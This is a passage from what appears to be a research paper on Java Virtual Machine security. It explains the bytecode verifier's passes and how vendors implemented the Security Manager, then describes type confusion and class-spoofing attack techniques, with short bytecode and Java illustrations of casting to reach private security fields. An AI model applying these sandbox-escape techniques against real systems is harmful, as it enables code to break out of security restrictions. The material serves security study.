of the Class file is checked in order to verify whether it is actually safe to parse it. In passes
two and three, the bytecode instruction stream of each of the given class’ methods is verified.
This is done in order to make sure that they adhere to the semantics of the Java programming
language and that they are actually type safe. In pass four, the Bytecode Verifier checks whether
the symbolically referenced classes, fields and methods actually exist. Pass one of the Bytecode
Verifier occurs during class loading. Pass four takes place at runtime during the process of dynamic
linking when symbolic references are resolved. Below we present all four passes of the Bytecode
Verifier’s work in a more detail.

Pass One

During pass one structural checks on the verified Class file are performed. In this pass the Bytecode
Verifier checks whether the loaded class file adheres to the Class file format. Specifically, it verifies
whether the first four bytes of a loaded class contain the right magic number: 0xCAFEBABE. This
is done just at the beginning of Class file verification in order to reject the files that are either
damaged or are not class files at all. In the next step, the Bytecode Verifier checks whether the
major and minor version numbers declared in the class file are from the range that is supported by
a given JVM implementation. During pass one, the verifier also checks whether the loaded class file
is of proper length. This is done by verifying the length and type of each of the individual attribute
contained inside the class file. The total length of the class file must be consistent with its internal
contents. The loaded class file cannot be truncated nor extended with some extra trailing bytes at
the end. All of the information, that is defined in a Constant Pool area of the class file, must not
contain any superficially unrecognizable information.

The goal of pass one is to ensure that the sequence of bytes that supposedly define a new type is
in accordance with a definition of the Java class file format, so that it can be further parsed into
implementation-specific data structures. This data structures, instead of a binary Class file itself,
are further used during passes two and three.

Pass Two

Pass two is done after class file is linked. During this pass, semantic checks on type data are
primarily performed. The Bytecode Verifier looks at each individual component of the class file
(method descriptors, field descriptors, etc.) and checks whether it is of the declared type. This
specifically considers checking method and field descriptors as they contain information about
the type of fields and methods’ parameters15. While checking method and field descriptors, the
Bytecode Verifier makes sure that they are strings that adhere to the appropriate context- free
grammar.
14This is especially the case for Microsoft, SUN and Netscape’s JVM implementations.
15Method descriptors are UTF8 strings that define return type, number of parameters and their types for a given
method.
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In pass two, the Bytecode Verifier also makes some checks that test if a given class does not violate
any of the constraints defined in the Java language specification. Specifically, it verifies whether final
classes are not subclassed, and that final methods are not overridden. The Bytecode Verifier also
makes sure that every class (except java.lang.Object) has a superclass. Additionally, it checks
the class’ constant pool entries. While doing this, it makes sure that they are actually valid and
that all indexes into the constant pool refer to the correct entries. For field and method references,
the Bytecode Verifier checks whether they have valid names, classes, and type descriptors.

In pass two, the Bytecode Verifier does not look at the bytecode instruction stream itself. Neither
does it load any of the other types that are referenced from within the code of a verified class.
When it looks at a given field or method reference, it only checks that these items are well formed.
It does not bother whether a given field or method actually exists in the given class as this check
is done in pass three and four of the verification process.

Pass Three

Pass three of the verification process is the most complex pass of the whole Class file verification.
During this pass, the Code attribute of a given class file is checked. Consequently, the appropriate
checks are done for each of the given class’ methods. Specifically, the code of each method is verified
in order to make sure that it adheres to the semantics of the Java programming language and that
it is actually type safe. The verification process that is used in pass three is primarily based on a
data-flow analysis of a bytecode instruction stream. This data-flow analysis is done by modeling
the execution of every single bytecode instruction and by simulating every execution path that can
actually occur in a code of a given method.

For the purpose of the analysis process, some extra information with regard to the operand stack
and local variables is maintained for every bytecode instruction. This extra information reflects the
state of the stack and local variables that occurs at the time of executing a given instruction. This
state information records only the types of items that are on the stack or in the local variables at
a given point in a program. It does not record their actual values, as for the purpose of bytecode
verification there is no need to monitor them. As a result of simulating the execution of a given
instruction, the Bytecode Verifier modifies the state information of any instruction that can follow
the modeled instruction in order to properly reflect the changes made by it. Specifically, the Byte-
code Verifier appropriately modifies the number and types of items that are on the operand stack
and in the local variables. As for the instructions that can follow the modeled instructions, they are
selected according to their opcode value. In the usual case, only one instruction immediately fol-
lowing a given instruction is selected. However, in case of conditional transfer control instructions,
instructions that are within the exception handler and some special instructions (tableswitch,
lookupswitch) more than one of these instructions can be selected.

Most of the checks the Bytecode Verifier does are aimed at detecting any type inconsistencies. This
is important since any type inconsistency can usually lead to the type confusion attack and as a
result, to the complete compromise of the Java type safety. This is the reason why the Bytecode
Verifier performs such a great deal of tests for that. Specifically, the Bytecode Verifier checks that
no local variable is accessed unless it is known to contain a value of an appropriate type. For method
calls, it verifies whether they are made with the use of the appropriate number of arguments and
types. The Bytecode Verifier also makes sure that for field assignment operations only the values
of compatible types are used. As for the bytecode instructions themselves, the Bytecode Verifier
makes sure that each of them has appropriate types of arguments on the operand stack and in the
local variables. The proper checks that are done for that depend on a given instruction’s opcode.

During the verification process the Bytecode Verifier ensures that at any given point in the program,
no matter which code path is taken to reach that point, the operand stack contains the same
number of items and that they are of the same type. It also concerns the local variables, which at
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any given point in the program must contain the same types of arguments. These two requirements
are fundamental for maintaining Java type safety and the overall security of JVM. If they were
not obeyed, several security problems would arise. One of them refers to the situation where the
stack heights in a given point of a program are inconsistent. In such a situation the security of
some JVM implementations16could be at danger due to theoretical possibility of overflowing the
operand stack of a given method. As a result of overflowing the stack and especially its return
address (or frame pointer) the user code could start running on its own beyond any of the JVM
security mechanisms.

There is also another security problem that can arise as a result of ignoring inconsistency of state
information in a given point of the method’s code. It occurs when incompatible types are recorded
for the corresponding stack locations or local variables. In such a situation, the user code could
easily trick the JVM about what the real type of, for example, an item returned from a given
method is. The following code is a good illustration of that:

.method public cast2MyType(Ljava/lang/Object;)LMyType;

.limit stack 2

.limit locals 2
aconst_null
astore_2
aconst_null
ifnonnull l2

l1:
aload_1
astore_2

l2:
aload_2
areturn

.end method

In this code, there are two execution paths that can be potentially taken. In the first one, a
conditional branch (from the ifnonnull instruction) is made to the l2 location. This results in
a local variable 2 being assigned the null value. In the second execution path, the conditional
branch is not taken. As a result, aload/astore instruction pair is executed and local variable 2 is
assigned a value of the java.lang.Objec type. Thus, at one point of the method code, indicated
by label l2, the state of local variable 2 can be recorded as null or as of the java.lang.Object
type. The recorded type would thus be dependant on what execution path was taken to reach
label l2. If the Bytecode Verifier’s decision about code safety was only done according to the first
execution path and without paying attention to the type inconsistency occurring at label l2, type
confusion attack could be possible. This is due to the fact that the second execution path could
be taken as a result of the actual method’s execution. In such a situation the type of the returned
object would be completely different from the one declared in a method’s descriptor (the object of
java.lang.Object type is treated as if it was of MyType).

The Bytecode Verifier works according to some general bytecode verification algorithm, which was
described in the Java Virtual Machine specification. In this algorithm, type information about the
state of a modeled Virtual Machine’s stack and local variables is maintained. This type information
is modified according to the result of modeling the instructions execution.
16It seems that this attack can only be performed against these JVMs, which implement load/store bytecode
instructions with the use of appropriate push/pop operations from a given platform’s native machine language. This
is due to the fact that load instructions are the only ones that allow the user code to write data to arbitrary stack
locations. In the case where stack heights were confused by the Bytecode Verifier, a chance that it would not notice
that the method stack was overflowed (with the use of different execution paths and consecutive load operations)
would also be very high.
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At the beginning of the verification algorithm, local variables are initialized, so that their values
reflect the types of a given method’s arguments. For instance methods, local variable 0 always
contains the value indicating the type of the current class (this pointer). Similarly, variables from
1 to n contain the values corresponding to the types of the method’s arguments from 1 to n. As
part of the algorithm initialization process, the operand stack is made empty and a changed bit is
set for the first bytecode instruction of the given method. This bit indicates whether the Bytecode
Verifier actually needs to look at a given instruction. After making these initial steps, the Bytecode
Verifier enters the main loop of the verification algorithm. This loop consists of several steps, which
are described in a more detailed way below.

In the first step of the verification loop, a bytecode instruction is selected with its changed bit
set. If there are no bytecode instructions in the code of a given method whose changed bit is set,
the verification of a given method is complete. In such a case, the Bytecode Verifier assumes that
it was successful. In the other case, the verification process continues and the changed bit of the
selected instruction is turned off.

In the second step of the loop, the effect of executing the selected instruction is modeled on the
operand stack and local variables. Several different conditions are taken into account here. If the
selected instruction uses values from the operand stack, the Bytecode Verifier ensures that there is
a sufficient number of values on it and that these values are of appropriate types. If this is not the
case, the verification process fails and VerifyError exception is thrown. If the selected bytecode
instruction uses a local variable, the Bytecode Verifier makes sure that this variable contains a value
of the appropriate type. If this is not the case, verification also fails. If the modeled instruction
pushes values onto the operand stack, the Bytecode Verifier ensures that there is sufficient room on
the operand stack for new values. When modeling the effect of such an instruction, the Bytecode
Verifier adds indicated types to the top of the modeled operand stack. If the selected instruction
modifies a given local variable, the Bytecode Verifier records that this local variable contains
the new type. After this step of the verification algorithm, the Bytecode Verifier assumes that
all arguments to the selected bytecode instruction are legal. Specifically, it surely adheres to the
static and structural constraints on the JVM instructions as defined in the Java Virtual Machine
specification. Some of these constraints are presented in Appendix A at the end of this paper.

In the third step of the verification loop, the Bytecode Verifier determines all successor instructions
that can follow the current one. The successor instructions are selected depending on the opcode
of a given instruction. If the current instruction is not an unconditional control transfer instruction
(for instance goto, return or athrow) its next instruction is selected. For unconditional branch
or switch instructions (tableswitch and lookupswitch instructions) all of its targets are usually
selected. If the given instruction is contained within the exception handler, the first instruction of
its exception dispatch routine is chosen for the successor. In the case where the successor instruction
falls off the last instruction of the given method, verification fails and the appropriate exception
is thrown.

In the last step of the verification loop, the state of the operand stack and local variables at the
end of the execution of the current instruction is merged into each of the successor instructions.
In the special case of control transfer to an exception handler, the operand stack is set to contain
a single object of the exception type indicated by the exception handler information. In any other
case, one of the two conditions can occur. If this is the first time the successor instruction has
been visited its, changed bit is set. Additionally, the Bytecode Verifier sets the state of the operand
stack and local variables of this instruction to the values calculated in the second and third steps
of the verification loop, prior to executing the successor instruction. In the case when the successor
instruction has been seen before, the operand stack and local variable values calculated in the
second and third steps of the verification loop are merged into the values corresponding to its
state. The changed bit for the successor instruction is also set if any modifications were made to its
values as a result of the merge operation. If, for any reasons, the operand stacks cannot be merged
in this step of the verification process, the verification of the method fails.
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One of the key issues, that must also be explained in order to fully understand the presented
verification algorithm, is the way in which operand stacks and local variables are actually merged.
In order to merge two operand stacks, the number of values on each stack must be identical as well
as the types of values on these stacks. There is, however, one exception to this rule, which states
that different object types may appear at the corresponding locations on the two stacks if they are
object references. In such case, the merged operand stack contains a reference to an instance of the
first common superclass (or superinterface) of the two merged object types. Such a reference type
always exists because the type java.lang.Object is a supertype of all class and interface types.

In order to merge two local variable states, the corresponding pairs of local variables are compared.
If the two types are not identical, then unless both variables contain reference values, the verifier
records that the local variable contains an unusable value. In the case when both local variables
contain reference values, the merge state contains a reference to an instance of the first common
superclass of the two types.

From the presented bytecode verification algorithm, it can be clearly seen that the Bytecode Verifier
does not analyze the bytecode instruction stream according to the actual execution flow. Instead,
it makes use of some complex linear analysis of the method’s code.

If the Bytecode Verifier completes data flow analysis on a given method without reporting a failure,
that method is considered to be safe to execute. And because the third pass of bytecode verification
process is also the last one, the class file can be loaded into the Java Virtual Machine without any
fear that it contains a malicious code.

Pass Four

Pass four of the class verification process is actually the virtual pass that takes place at runtime
during the process of dynamic linking. In pass four, symbolic references contained in a class file are
resolved into direct references. While resolving a symbolic reference from one class to the other, the
Java Virtual Machine always makes sure that the resolved reference is correct. For class references,
it checks whether the referenced class actually exists. For field references, it checks whether the
referenced field exists in the given class and that it is of the type indicated by the reference. For
method references, the Java Virtual Machine also makes sure that they are made to methods that
actually exist and that the type descriptor of a given method is compatible with the one indicated
by a reference. Additionally, for all reference types, proper checks are done in order to verify
whether the referenced class, field or method can actually be accessed from within the referencing
class.

The process of resolving a given reference is done by the JVM upon encountering one of the special
bytecode instructions. This specifically concerns field access (getfield, putfield, getstatic,
putstatic) and method invocation instructions (invokevirual, invokestatic, invokespecial).

When the Java Virtual Machine encounters a reference to a given external class for the first time,
it finds the class being referenced and replaces the symbolic reference with a direct reference (such
as a pointer or offset, to the class, field, or method). JVM remembers the direct reference, so if a
given class is encountered once again, it can be immediately used again without wasting time for
resolving the symbolic reference. During the process of resolving symbolic references it might turn
out that the class being referenced needs to be loaded. In such a case, the referenced class is loaded
by the Bytecode Verifier to JVM, but its existence is not revealed until its first direct use is made.

When the Java Virtual Machine cannot successfully resolve a given symbolic reference because for
example the class cannot be loaded or it exists but does not contain the referenced field or method,
the Bytecode Verifier throws an error.
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4.3 Security Manager

The Security Manager is one of the most security critical components of the Java Virtual Machine.
It is a special Java object that is primarily responsible for guarding security policies for Java
applications. In particular, the Security Manager protects the boundaries of the applet sandbox -
it monitors all potentially unsafe calls to the native operating system that are made by an applet
and decides whether they should be allowed or denied according to the currently installed security
policy.

The Security Manager is in charge of the entire lifetime of a Java application. It is always consulted
before any potentially dangerous operation is requested by a Java application. For the purpose of
enforcing a given security policy, the Security Manager implements appropriate check methods.
Every check method is provided for a specific, potentially unsafe operation. Among others, there
are check methods dedicated for verifying whether file system (checkRead, checkWrite), network
(checkListen, checkConnect, checkAccept) or thread (checkAccess) resources are accessed in
accordance with the currently installed security policy. The specific implementation of the Security
Manager’s check methods actually define the security policy for a Java application. In the applet’s
case the check methods of the Security Manager are in fact responsible for enforcing the applet
sandbox security restrictions.

The Java API is constructed in such a way that the appropriate security policy is always enforced.
This is done as a result of properly encoding the Security Manager checks into Java API classes.
The way the Security Manager checks are used usually follows the same scheme: they are always
done before potentially unsafe code parts are actually executed. The example implementation of
mkdir method from the java.io.File class is a good illustration for that:

public boolean mkdir() {
SecurityManager securitymanager = System.getSecurityManager();
if(securitymanager != null)
securitymanager.checkWrite(path);

return mkdir0();
}

Whenever a call to mkdir method is made, first a reference to the currently installed Security
Manager is obtained. If the Java application does not have a Security Manager set, there is no
need to perform any security checks before potentially unsafe operation. This is definitely not the
case for applets, which have always a Security Manager set. In this example, a call to the Security
Manager’s checkWrite method is made in order to verify whether the mkdir operation is allowed
for the caller’s class. If the security policy implemented by the installed Security Manager allows
for the write operation on a given file system path, the checkWrite method returns normally and
the mkdir method continues. But if for any reasons, the requested action is denied by the Security
Manager, an appropriate security exception is thrown from the checkWrite method. Throwing an
exception causes that the execution of the mkdir method is immediately aborted. The implication
of such a behavior is that the call to the private native mkdir0 method is never taken if it is not
allowed by the security policy of the currently installed Security Manager.

Almost all Security Manager’s checks that are implemented in the Java API classes follow the same
procedure. They are always placed before a potentially unsafe operation. The actual operation that
is protected by them is usually a private native method that has a capability of calling potentially
unsafe functionality of the underlying operating system. If the requested action is denied by the
Security Manager’s security policy, the execution of the given method is abnormally aborted and
the appropriate security exception is thrown. But if there are no restrictions imposed on performing
the requested action, the Security Manager’s check method returns normally to the caller and the
execution of the potentially unsafe operation continues.
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There are also some actions that are not actually protected by the Security Manager regardless
of the security policy it implements. These specifically concern memory allocation and thread
creation actions. As the Security Manager does not enforce any limits on the amount of allocated
memory or the number of threads that can be created by an applet, the potential possibility to
perform a Denial of Service attack could be seen here. But due to current implementations of
modern operating systems, and specifically their support for ulimit/rlimit mechanisms, such an
attack aimed at the resource exhaustion does not actually seem to be a real threat.

One more thing that should also be cleared out here is that Security Managers cannot protect
Java Runtime from malicious actions done in the native method itself. This is due to the way the
Security Manager works and the fact that it is only able to enforce security policy at the Java
classes’ level, not the native operating system level. The other reason also stems from the fact that
in Java native methods are treated as fully trusted, thus there is no reason to protect them.

Application or a web browser can only have one Security Manager. This assures that all access
checks are made by a single Security Manager which enforces a single security policy. In addition
to the check methods, the Security Manager also has some other methods that allow to determine
if a given request is being made either directly or indirectly from a class loaded by a given class
loader object. Such functionality gives the possibility to implement quite flexible security policies
regardless of the requirement for one Security Manager object. Such security policies can for exam-
ple vary depending on which class loader loaded the classes making the request to the Security
Manager.

The Security Manager objects are subclasses of the abstract java.lang.SecurityManager class.
As it was the case of Class Loader objects, Security Managers cannot be implicitly created by
the untrusted code and in particular by applets. The protection mechanism that enforces this
is, however, differently implemented by each JVM vendor. In the case of JVM implementation
from SUN17, the same protection mechanism is used for java.lang.SecurityManager as in the
Class Loader’s case. In a constructor of the java.lang.SecurityManager class, a call to the
checkCreateSecurityManagerAccess method of the Security Manager class (!) is made:

protected SecurityManager() {
initialized = false;
if(security != null)
security.checkCreateSecurityManagerAccess(1);

initialized = true;
}

But, as it can be seen from the above, the call to checkCreateSecurityManagerAccess is only
made if there is already an appropriate Security Manager set for the current Java application.
If it is not the case, no Security Manager exists that can be consulted before performing poten-
tially unsafe operations. In such a case, new Security Manager objects can be created without
any restrictions. Also, similarly to the way java.lang.ClassLoader’s <init> method is con-
structed, in SUN’s implementation of the java.lang.SecurityManager constructor, the call to
checkCreateSecurityManagerAccess method is also enclosed by two assignment operations on a
private field variable that keeps track of the Security Manager’s initialization state. This variable is
always verified before any security relevant functionality of the Security Manager class is provided
to the calling class. This is done in order to ensure that Security Manager initialization has been
properly completed.

Microsoft in their implementation of the java.lang.SecurityManager class does not implicitly
protect the Security Managers object when it comes to their creation:
17It should be noted that Java Virtual Machine used in Netscape Communicator is primarily based on SUN
Microsystems’ implementation.
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protected SecurityManager() {
}

But it does not necessarily mean that user-defined Security Managers can be installed in the Java
application. Apart from employing the same checks as SUN that prevent from changing/reinstalling
current Security Manager, Microsoft also does some additional checks in the static
setSecurityManager method of the java.lang.System class. Specifically, these additional checks
include a call to native validateSecurityManager method on a to be installed Security Manager
object, before it gets actually set for the application.

The Security Manager can be also set only once during the applet lifetime and this can be only done
with the use of the aforementioned static setSecurityManager method of the java.lang.System
class. Once set, the Security Manager cannot be replaced, changed or extended. Upon startup,
Java applications do not have any Security Manager installed. This means that no restrictions are
imposed on the activities they can perform. However this is not true for applets as the appropriate
Security Manager is always installed for them by a web browser upon the Java Virtual Machine
startup. The Security Manager that is set in this case is very specific - it enforces security policy of
the applet sandbox. The implementation of such an applet Security Manager varies from one vendor
to the other. Only the functionality exposed by applet Security Managers that come from different
JVM/web browser vendors is always the same. The actual implementation is usually different. But
this is in accordance with the Java language specification, which only defines what functionality
java.lang.SecurityManager class should implement - it does not define any requirements with
regard to its actual implementation.

Netscape Communicator18 uses netscape.security.AppletSecurity class as a base implemen-
tation for its applet Security Manager. In this class, access control checks are implemented with the
use of an extended capabilities model. By default, Netscape Communicator uses 30 different ca-
pabilities that reflect different privileges needed for performing potentially unsafe operations from
within a Java application. Whenever a potentially unsafe operation is requested by an applet, an
appropriate check for the corresponding privilege is done in a corresponding check method of the
AppletSecurity class. In order to allow the requested action, an appropriate privilege must be
both explicitly granted and enabled for the requesting code. In the case when the required privile-
ge is neither granted nor enabled to the application code at the time of doing Security Manager’s
access check, the requested action is denied.

The term ”enabled privilege” requires some additional explanation. In Netscape Communicator
privileges are always enabled for a given scope. Specifically, they are only enabled for the cur-
rent stack frame of a class that called the appropriate privilege enabling method (in particular,
enablePrivilege method of the netscape.security.PrivilegeManager class). Such a scoped
approach to privileges was introduced in Netscape Communicator 4.019along with a stack inspec-
tion mechanism. In this mechanism, every Java frame has a principal object associated with it,
which is implemented by the netscape.security.Principal class. Principals represent a person,
organization or any other entity that may have the right to take or authorize potentially unsafe
actions20 attempted by an applet. With each principal object, a table of permissions represen-
ting specific access types to system resources is associated. Netscape Communicator uses a global
(static) object of the netscape.security.PrivilegeManager class for keeping information about
what permissions are granted to the given principal and what their status (enabled or disabled) is.
In Netscape Communicator, the permissions table is implemented as a hash table that stores as-
sociations between instances of netscape.security.Target and netscape.security.Privilege
classes. The first class represents different permissions for potentially unsafe operations, the second
one stores information about the status of its associated permission and the time for which it is
18Whenever Security Manager implementation of Netscape Communicator is mentioned in this document we refer
to Netscape Communicator 4.x web browser and the so called Netscape Security Model.
19It has been also used in Microsoft’s Internet Explorer 4.0 and SUN’s Java Development Kit 1.2.
20In particular, such entities like programs or cryptographic keys can be used as principals.
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valid.

In Netscape Communicator, all system classes are considered to be trusted and they have the so
called system principal associated with them. Because any class loaded through an applet Class
Loader is by default untrusted, such a class is assigned untrusted codebase principal appropriately
to a given class’ origin. Contrary to the system principal, which has all permissions granted (but
not necessarily enabled), codebase principal usually has an empty permissions table associated
with it.

In Netscape Communicator access checks are made according to the stack inspection algorithm. In
this algorithm, a given frame on the caller’s stack is checked for the specified permission whenever
any of the Security Manager’s check methods is invoked. By using privileges along with a stack
inspection mechanism, the threat of escaping the applet sandbox through exploitation of some
potentially vulnerable system class is drastically minimized in Netscape Communicator. This is
due to the fact that exploitation of a vulnerable code would have to meet two specific requirements
of which one seem to be impossible to fulfill. The first requirement states that the actual exploitation
of the vulnerable class must occur in a time window, when the privileged code is actually executed.
This time window is usually indicated by proper privilege enabling and disabling operations. The
second requirement considers the stack frame usage. Specifically, it states that the exploit code
must be executed at the same stack frame as the exploited code part in order to impersonate it
(make use of its privileged principal and a set of privileges that were granted to it). And this second
requirement is obviously impossible to fulfill at the Java classes’ level. This is due to the fact that
a given attack method B that has been invoked from a privileged method A will never run on the
same stack frame as A does.

Microsoft also uses stack inspection and privileges for performing access check decisions in the-
ir implementation of the Security Manager. The base class that is used for that purpose is
com.ms.security.StandardSecurityManager. Microsoft’s implementation of the applet Security
Manager is actually very similar to the Netscape’s one. The only difference lies in the classes that
are used by it. Specifically, principals are implemented with the use of java.security.Principal
class, sets of privileges with the use of com.ms.security.PermissionSet class and single privi-
leges are represented by the com.ms.security.PermissionID class. Contrary to the Netscape’s
implementation of privileges, where each separate privilege is represented by a unique Target class,
in Microsoft’s implementation privileges are classified on a two level basis. Specifically, Microsoft’s
privileges are divided into a small set of privileges that represent some general categories of access
to resources like network, file io, property and user interface access. The actual type of access is
encoded within a given privilege. For example, PermissionID.FILEIO privilege can represent read
or write access type to a local file system depending on whether READ or WRITE access type specifier
is encoded into it.

In Microsoft’s implementation of the com.ms.security.StandardSecurityManager class, whene-
ver a given access check is made, the appropriate call to the static checkPermission method of
a com.ms.security.PolicyEngine class is made. The role of this class is similar to the Netsca-
pe’s Privilege Manager. It provides proper functionality for dealing with principals and privileges.
Specifically it allows making proper associations between them, to enable or disable privileges or
to simply check whether a given privilege is enabled for a given stack frame. By default, user
defined classes have empty permission sets associated with them. This is in contrary to system
classes which are considered to be trusted, thus they usually have PermissionID.SYSTEM assigned
to them.

The stack inspection that is used both in Netscape Navigator and Internet Explorer web browsers
usually follows the same procedure. Whenever the access check for a given privilege is made, proper
checkmethod of the currently installed Security Manager object is invoked. For Netscape Navigator
the usual call sequence that is generated as a result of the check method invocation looks similar
to the following:
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frame 0 potentially vulnerable method
frame 1 secMgr.checkXXX(String)
frame 2 secMgr.checkXXX(String,i=2)
frame 3 privMgr.isPrivilegeEnabled(Target,i+1=3)
frame 4 privMgr.isPrivilegeEnabled(atarget,i+1=4, null)
frame 5 privMgr.checkPrivilegeEnabled(atarget,i+1=5, obj, false)

In this example, a second call to the Security Manager’s checkXXX method has an integer value
of 2 passed in one of its parameters. This value indicates the number of a stack frame preceding
the current frame that must be checked for a given privilege. The privilege that is checked is
passed to the isPrivilegeEnabled method as a proper Target object value. This privilege is
passed as a table of values to the checkPrivilegeEnabled method. The value of 2 is usually
passed to checkXXX method to indicate that a frame that is 2 frames before the current one
should be checked for proper privileges. In the example, this is the frame 0 that will be checked.
This frame usually belongs to the code of a potentially vulnerable method that calls the Security
Manager’s functionality to let it make the decision whether a given action performed by its code
can actually be allowed. The method that does the actual checking for privileges is the native
checkPrivilegeEnabled method of the Netscape’s Privilege Manager object.

In the case of Microsoft Explorer, the situation is almost identical to the one presented above. The
call sequence that is generated as a result of the check method invocation is usually similar to the
following one:

frame 0 potentially vulnerable method
frame 1 secMgr.checkXXX(String)
frame 2 secMgr.chk(PermissionID, null, aclass, i=2)
frame 3 policyEng.checkCallersPermission(PermissionID, Object, aclass, i+1=3)
frame 4 policyEng.shallowCheck(PermissionID, null, aclass, i+1=4)

In case of Microsoft, the number of a frame that is to be checked for privileges is indicated by a
proper int value, which is passed to the Security Manager’s chk method. From within the Security
Manager’s check method, Policy Engine’s checkCallersPermission method is invoked. This me-
thod further calls the native shallowCheck method, in which the actual verification for privileges
is made.

Although Microsoft implementation of the applet Security Manager uses the same access control
mechanism as Netscape does, there are many differences between them. In the table from Appendix
B we gathered all check methods of the Security Manager API along with their descriptions and
some details regarding a specific vendor implementation. From that table it can be clearly seen
that Netscape’s implementation of the Security Manager is far more complex than the Microsoft’s
one. As security does not usually go with complexity, there is a high probability that Netscape’s
Security Manager’s implementation contains security vulnerabilities. But whether this is actually
the case will be presented further in this document.
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Chapter 5

Attack techniques

In this chapter several attack techniques that can be performed against Java Virtual Machine
are presented. Specifically, type confusion and class spoofing attacks are described. It should be
noted that each of the presented attack techniques requires that a given security vulnerability
exists in a target JVM implementation. As the attacks cannot be performed without the use of a
given security vulnerability, they should rather be considered as JVM vulnerabilities’ exploitation
techniques.

The attack techniques presented in this chapter are mostly known and have been discussed before
in the literature. We include them in this paper to make it more complete and because they
are necessary to understand the impact of some security vulnerabilities discussed further in this
document.

5.1 Type confusion attack

In Java the type of data used in any operation must be explicitly defined and must adhere to the
types of operands that are valid for a given operation. This behavior results from the fact that
Java is a type safe language. And due to this Java type safety feature, any type conversion between
data items of a different type must be done in Java in an implicit way. This can be specifically
accomplished with the use of one of the special instructions that are dedicated for the purpose.

There are several instructions in Java bytecode language that can be used for converting data from
one type to the other. In the case of primitive types (byte, short, int, long, float, double),
appropriate x2y instruction can be used for that purpose. In such a case, x denotes the type of a
source operand and y the type to which the actual conversion is made. The following values can
be used for x and y:

- b to denote the byte type,
- c to denote the char type,
- s to denote the short type,
- i to denote the int type,
- d to denote the double type,
- f to denote the float type.

But not every possible combination of x and y can be used as JVM implements only i2b, i2c, i2d,
i2f, i2l, i2s, l2i, l2f, l2d, f2i, f2l, f2d, d2i, d2l, d2f in its instruction set.

The value obtained as a result of some conversion operations might not necessarily correspond to
the converted value. This is due to the fact that during the conversion of primitive types one of
the following two conditions can take place:
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- widening the primitive conversion in which information about the sign or order of magnitude
of a numeric value is not lost. In the case of this conversion, the numeric value is preserved
exactly,
- narrowing the primitive conversion in which information about the sign or order of magnitude
of a numeric value is lost.

In order to perform some more complex type conversions, specifically between differently typed
object references, Java checkcast instruction must be used. This instruction checks whether a
given object reference provided in the instruction’s argument can be cast to the given class, array,
or interface type (also specified in the instruction’s argument). As a result of successful execution
of the checkcast instruction, the information about the type of object reference provided as its
argument is changed to reflect that it is of the new type. The following piece of code is a good
illustration of how it is actually done:

.method public cast2MyType(Ljava/lang/Object;)LMyType;

.limit stack 2

.limit locals 2
aload_1
checkcast LMyType
areturn

.end method

This code simply converts the value of java.lang.Object type to the value of MyType. If the type
conversion is allowed the reference of the object loaded onto the stack is converted into the MyType
type. As a result of the conversion operation no actual change is made either to the reference value
or to the referenced object itself. This is due to the nature of the operation of the checkcast
instruction, which throws proper exception if the given cast operation cannot be performed.

The following rules are used by the checkcast instruction in order to determine whether the
conversion of an object reference of a given type S to the given type T is allowed. Specifically, the
cast is allowed if either:

- S and T are ordinary (non-array) class types then S must be the same class as T, or a subclass
of T
- T is an interface type, then S must implement interface T. S cannot be an interface type,
because there are no instances of interfaces, only instances of classes and arrays
- S is a class representing the array of components of type S.C., then it can be cast to class T
only if T is of the java.lang.Object type.
- T is also an array of components of type TC, then TC and S.C. must be the same primitive
types or in the case where they are reference types, type S.C. can be cast to TC with the use
if this rules.

The checkcast operation throws an exception if the object reference is null or the cast to the
given class, array, or interface type cannot be performed. In such a case, ClassCastException is
thrown. If the reference to the target class cannot be resolved, an appropriate linking exception is
also signaled.

There is also one more instruction in the JVM bytecode instruction set that can be used to determine
whether an object reference can be cast to the given type. Specifically, this is the Instanceof
instruction. Its operation is similar to the checkcast instruction except that it does not perform
the actual type conversion. Instead it returns information about whether a given conversion can
be performed or not.

Most of the checks with regard to type safety of the Java bytecode instructions are done by the
Bytecode Verifier. Therefore, no type safety checks are required during runtime. This specifically
considers type conversion, method invocation and field access instructions. The only exceptions
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to this are array access instructions for which proper checks are always done during the bytecode
verification process as well as in runtime.

The type confusion condition occurs as a result of a flaw in one of the Java Virtual Machine
components, which creates the possibility to perform cast operations from one type to any unrelated
type in a way that violates the Java type casting rules. As the Bytecode Verifier is primarily
responsible for enforcing type safety of Java programs, a flaw in this component is usually the
cause of most type confusion based attacks.

A type confusion condition can be exploited to perform a type confusion attack. In this attack,
a possibility to perform a cast from one type to the other is exploited in order to circumvent the
protection of classes, fields or methods.

In a typical type confusion attack two classes, that have identical definitions with regard to field
names and their types, but different access scope identifiers of the corresponding fields, are usually
used An example definition of two such classes is presented below:

public Class Original {
private boolean initialized;
private Security sec;

}

public Class fakeOriginal {
public boolean initialized;
public Security sec;

}

Now, let us assume that there exists a flaw in one of the JVM components that allow performing
a cast operation from type Original to fakeOriginal:

fakeOriginal=cast2fakeOriginal(org);

As a result of such a cast operation, an object of type Original can be accessed as if it was
fakeOriginal. This specifically concerns private fields defined in the Original class. As a result of
the cast, they are now seen as public, and thus they can be accessed freely without any restrictions:

fakeOriginal.initialized=true;
fakeOriginal.sec=new Security(MODE_UNRESTRICTED);

Such an access to these fields is possible because JVM does not perform any runtime checks for
getfield/putfiled instructions with regard to the types of their arguments.

As a result of a successful type confusion attack, memory safety of the Java program can usually
be beaten. Upon the presented description it should now be clear why type safety is so important
for Java programs. The role the Bytecode Verifier plays for the overall security of the Java Virtual
Machine is therefore critical. This explains why any flaw, even a small one, in the Bytecode Verifier’s
operation may have a great impact on the security of the whole Java environment.

5.2 Class Loader attack (class spoofing)

Protection of Class Loader objects is one of the key aspects of the Java Virtual Machine security.
This is due to the role Class Loaders play in the process of class loading and dynamic linking. Class
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Loaders are primarily responsible for providing JVM with classes’ definitions. When doing this,
Class Loaders always make sure that a given class file is loaded into Java Runtime only once by
a given Class Loader instance. Additionally, they make sure that there exists only one and unique
class file for a given class name. These two requirements are maintained in order to provide proper
separation of namespaces belonging to different Class Loader objects.

As it was already mentioned in the previous chapter of this paper, for each instance of Class Loader
object, separate namespace is maintained. Each such namespace contains a unique set of classes
that were loaded by a given Class Loader instance. Because of the possibility that two different
Class Loader objects can exist in one JVM, proper maintenance of their namespaces is critical to
the overall JVM security. This is primarily due to the fact that any overlapping of two different
namespaces can easily lead to class spoofing and as a result, to type confusion attack. But before
the actual overlapping of two different namespaces can actually occur, several conditions must first
be met. First of all, two instances of Class Loader objects must exist in the same JVM. Each of
these Class Loaders must define different class objects for the same class name. Specifically, if Class
Loaders CL1 and CL2 are used, the following definitions of the same Spoofed class could be used
for them:

Class Loader Cl1:

public Spoofed {
public Object var;

}

Class Loader Cl2:

